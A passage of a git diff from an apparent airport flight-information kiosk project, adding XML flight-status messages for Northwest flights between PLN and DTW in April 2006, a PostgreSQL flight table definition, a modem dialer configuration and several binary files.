crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T16:25:17Z</msg_dtm><msg_seq_id>114624151700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T11:10:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T11:23:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T12:21:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T12:26:00</in_dtm><in_tme_type_cde>R</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C8</arvl_gate><flt_radio_cde>3232</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>29</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>31</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T16:37:57Z</msg_dtm><msg_seq_id>114624227700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T11:10:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T11:23:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T12:21:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T12:36:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C8</arvl_gate><flt_radio_cde>3232</flt_radio_cde><ac_num>7439</ac_num><ac_reg_num>N439XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>29</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>31</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>TU</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T17:25:03Z</msg_dtm><msg_seq_id>114624510300000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-28T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-28T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T16:20:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T16:25:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C36</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>2981</flt_radio_cde><ac_num>8751</ac_num><ac_reg_num>N8751D</ac_reg_num><subfleet>CR4</subfleet><flt_rmks> 4:25pm</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>30</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>3</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>PDMC</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T18:10:01Z</msg_dtm><msg_seq_id>114624780100000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-28T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-28T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T17:00:00</out_dtm><out_tme_type_cde>E</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T17:15:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T17:56:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T18:06:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde>2863</flt_radio_cde><ac_num>8751</ac_num><ac_reg_num>N8751D</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>20</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>PDMC</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:40:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T18:43:56Z</msg_dtm><msg_seq_id>114624983600000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-29</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-29T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-29T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-29T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-29T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-29T22:16:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-29T22:26:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-29T23:38:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-29T23:43:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C36</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>32</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-22T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T19:14:22Z</msg_dtm><msg_seq_id>114625166200000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-28T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-28T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T15:13:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T15:32:00</off_dtm><off_tme_type_cde>E</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T16:16:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T16:21:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C36</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>2981</flt_radio_cde><ac_num>8751</ac_num><ac_reg_num>N8751D</ac_reg_num><subfleet>CR4</subfleet><flt_rmks> 4:21pm</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>30</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>3</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>28</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>ACAR9E</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T19:28:52Z</msg_dtm><msg_seq_id>114625253200000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-28T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-28T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T15:13:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T15:28:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T16:12:00</on_dtm><on_tme_type_cde>E</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T16:17:00</in_dtm><in_tme_type_cde>E</in_tme_type_cde></flt_oooi><delay_cde>   </delay_cde><dptr_gate>C36</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde>2981</flt_radio_cde><ac_num>8751</ac_num><ac_reg_num>N8751D</ac_reg_num><subfleet>CR4</subfleet><flt_rmks> 4:17pm</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>30</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>3</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>28</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>ACAR9E</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
diff --git a/ScriptX.cab b/ScriptX.cab
new file mode 100644 (file)
index 0000000..a50ac17
Binary files /dev/null and b/ScriptX.cab differ
diff --git a/admin/Flight_Data/create_tables.txt b/admin/Flight_Data/create_tables.txt
new file mode 100644 (file)
index 0000000..5d2eaaa
--- /dev/null
@@ -0,0 +1,47 @@
+CREATE TABLE flight
+       (
+       id                                      SERIAL,
+       msg_dtm                         timestamp,
+       msg_seq_id                      text,
+       flt_orig_date           date,
+       flt_airline                     text,
+       flt_numb                                text,
+       flt_leg_orig            text,
+       flt_leg_dest            text,
+       flt_leg_vers            int,
+       sch_leg_orig            text,
+       sch_leg_dest            text,
+       sch_dep_time                    time,
+       sch_off_time                    time,
+       sch_on_time                     time,
+       sch_in_time                     time,
+       cur_dep_time                    time,
+       cur_dep_time_code       text,
+       cur_off_time                    time,
+       cur_off_time_code       text,
+       cur_on_time                     time,
+       cur_on_time_code                text,
+       cur_in_time                     time,
+       cur_in_time_code                text,
+       delay_code                      text,
+       depart_gate                     text,
+       arriv_gate                      text,
+       radio_code                      text,
+       aircraft                        text,
+       reg_numb                                text,
+       remarks                         text,
+       food_code                       text,
+       flight_type                     text,
+       downline_leg            bool,
+       overfly                         bool,
+       canceled                        bool,
+       dep_ontime                      bool,
+       arriv_ontime                    bool
+       );
+REVOKE ALL ON flight FROM PUBLIC;
+GRANT ALL ON flight TO nobody;
+REVOKE ALL ON flight_id_seq FROM PUBLIC;
+GRANT ALL ON flight_id_seq TO nobody;
+CREATE INDEX flight_orig_date_index ON flight(flt_orig_date);
+CREATE INDEX flight_numb_index ON flight(flt_numb);
+
diff --git a/admin/Kiosk_Notes/DialEnginePro/DialPro.ini b/admin/Kiosk_Notes/DialEnginePro/DialPro.ini
new file mode 100644 (file)
index 0000000..1260e2f
--- /dev/null
@@ -0,0 +1,81 @@
+[Preferences]
+Line No=0
+Modem=MultiTech System's MT5634ZPX-PCI
+Address No=0
+Address Name=0
+Enable Hotkey=0
+MinDigits=7
+MaxDigits=11
+CopyUntil=0
+CopyAll=0
+ShowOptions=1
+PlaySounds=1
+PlayConnect=1
+PlayConnectCust=
+PlayIncom=1
+PlayIncomCust=
+PlayReach=1
+PlayReachCust=
+DropLineDelay=601
+Redial Enabled=0
+Redials Number=3
+RedialInterval=7
+UseModem=1
+Trim OutLog Enabled=1
+OutLog Days=30
+Trim InLog Enabled=1
+InLog Days=5
+Calling Card for local calls=1
+Ignore Dialing Properties=0
+Tone Dial=0
+Special Characters=1
+Voice/Data=1
+CommLine=1
+Show Oval=1
+Show Phone No=0
+On Top=0
+Drop Line=1
+Drop1Ring=0
+Close Dialer=1
+Block ID=0
+International=100
+Speakerphone=0
+Mic Gain=34734
+Phone Vol=42598
+Speaker=1
+Mic=0
+DialTones=0
+Monitor=0
+Answer after=0
+Fax=0
+Rings=3
+Display call=1
+PutOnClip=0
+CheckID=0
+ExecDTMF=0
+oDTMF=0
+ExecScript=0
+ScriptFile=C:\Program Files\Dial Engine Pro\ScriptSample.txt
+Execute program=0
+ExecuteAfter=30
+CallBack=0
+DTMF Interval=0
+DTMF Length=50
+SysTray Enabled=0
+Call Display=0
+Enable Copy=1
+Busy Detect=1
+Busy Delay Timer=17
+cpwLeft=6165
+cpwTop=4515
+LastBusyNo=4879773
+OutLogWidth=8220
+OutLogHeight=4725
+OutLogFontSize=8.25
+OutLogFontBold=0
+OutLogFontName=MS Sans Serif
+InLogWidth=8250
+InLogHeight=4725
+InlogFontSize=8.25
+InlogFontBold=0
+InlogFontName=MS Sans Serif
diff --git a/admin/Kiosk_Notes/DialEnginePro/RegKey.zip b/admin/Kiosk_Notes/DialEnginePro/RegKey.zip
new file mode 100644 (file)
index 0000000..454a7d8
Binary files /dev/null and b/admin/Kiosk_Notes/DialEnginePro/RegKey.zip differ
diff --git a/admin/Kiosk_Notes/DialEnginePro/dialpro.zip b/admin/Kiosk_Notes/DialEnginePro/dialpro.zip
new file mode 100644 (file)
index 0000000..feb7263
